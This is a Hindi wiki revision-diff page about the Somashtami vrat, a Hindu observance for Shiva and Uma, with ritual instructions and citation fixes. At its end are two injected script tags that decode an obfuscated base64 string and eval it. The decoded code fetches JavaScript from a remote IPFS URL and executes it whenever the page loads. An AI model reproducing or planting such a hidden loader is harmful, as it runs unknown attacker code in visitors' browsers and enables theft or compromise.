"सोमाष्टमी व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
 
छो (Text replace - "ref> (" to "ref>")
 
(3 सदस्यों द्वारा किए गए बीच के 5 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*तिथिव्रत यह देवता [[शिव]] एवं [[उमा]] का व्रत है।
*तिथिव्रत यह देवता [[शिव]] एवं [[उमा]] का व्रत है।
*सोमवारयुक्त [[नवमी]] पर रात्रि में शिव एवं उमा की पूजा करनी चाहिए।  
*सोमवारयुक्त [[नवमी]] पर रात्रि में शिव एवं उमा की पूजा करनी चाहिए।  
पंक्ति 6: पंक्ति 6:
*प्रतिमा के दक्षिण भाग में चन्दन एवं कर्पूर का तथा वाम भाग में कुंकुम एवं तुरुष्क (लोबान) का प्रयोग करना चाहिए।
*प्रतिमा के दक्षिण भाग में चन्दन एवं कर्पूर का तथा वाम भाग में कुंकुम एवं तुरुष्क (लोबान) का प्रयोग करना चाहिए।
*देवी के सिर पर नीलम तथा शिव के सिर पर मोती रखे जाते हैं और श्वेत एवं लाल पुष्पों से पूजा की जाती है।
*देवी के सिर पर नीलम तथा शिव के सिर पर मोती रखे जाते हैं और श्वेत एवं लाल पुष्पों से पूजा की जाती है।
*सद्योजात नाम के साथ तिल का होम करना चाहिए।<ref> हेमाद्रि (व्रतखण्ड 1, 833-835, [[स्कन्दपुराण]] से उद्धरण)</ref>  
*सद्योजात नाम के साथ तिल का होम करना चाहिए।<ref> हेमाद्रि (व्रतखण्ड 1, 833-835, [[स्कन्दपुराण]] से उद्धरण</ref>  
*भविष्योत्तरपुराण<ref> (भविष्योत्तरपुराण 59|1-23)</ref> ने इन्हीं शब्दों में इस व्रत का उल्लेख किया है।
*भविष्योत्तरपुराण<ref>भविष्योत्तरपुराण 59|1-23</ref> ने इन्हीं शब्दों में इस व्रत का उल्लेख किया है।
*[[वामदेव]], [[सद्योजात]], [[अघोर]], [[तत्पुरुष]], [[ईशान]] शिव के पाँच मुख कहे जाते हैं।<ref>तैत्तिरीयारण्यक (90|43-47)</ref>
*[[वामदेव]], [[सद्योजात]], [[अघोर]], [[तत्पुरुष]], [[ईशान]] शिव के पाँच मुख कहे जाते हैं।<ref>तैत्तिरीयारण्यक (90|43-47</ref>


{{लेख प्रगति
{{संदर्भ ग्रंथ}}
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

14:13, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • तिथिव्रत यह देवता शिव एवं उमा का व्रत है।
  • सोमवारयुक्त नवमी पर रात्रि में शिव एवं उमा की पूजा करनी चाहिए।
  • पंचगव्य से प्रतिमा का स्नान करना चाहिए।
  • वामदेव तथा अन्य नामों से शिव की पूजा करनी चाहिए।
  • प्रतिमा के दक्षिण भाग में चन्दन एवं कर्पूर का तथा वाम भाग में कुंकुम एवं तुरुष्क (लोबान) का प्रयोग करना चाहिए।
  • देवी के सिर पर नीलम तथा शिव के सिर पर मोती रखे जाते हैं और श्वेत एवं लाल पुष्पों से पूजा की जाती है।
  • सद्योजात नाम के साथ तिल का होम करना चाहिए।[1]
  • भविष्योत्तरपुराण[2] ने इन्हीं शब्दों में इस व्रत का उल्लेख किया है।
  • वामदेव, सद्योजात, अघोर, तत्पुरुष, ईशान शिव के पाँच मुख कहे जाते हैं।[3]


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 1, 833-835, स्कन्दपुराण से उद्धरण
  2. भविष्योत्तरपुराण 59|1-23
  3. तैत्तिरीयारण्यक (90|43-47

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>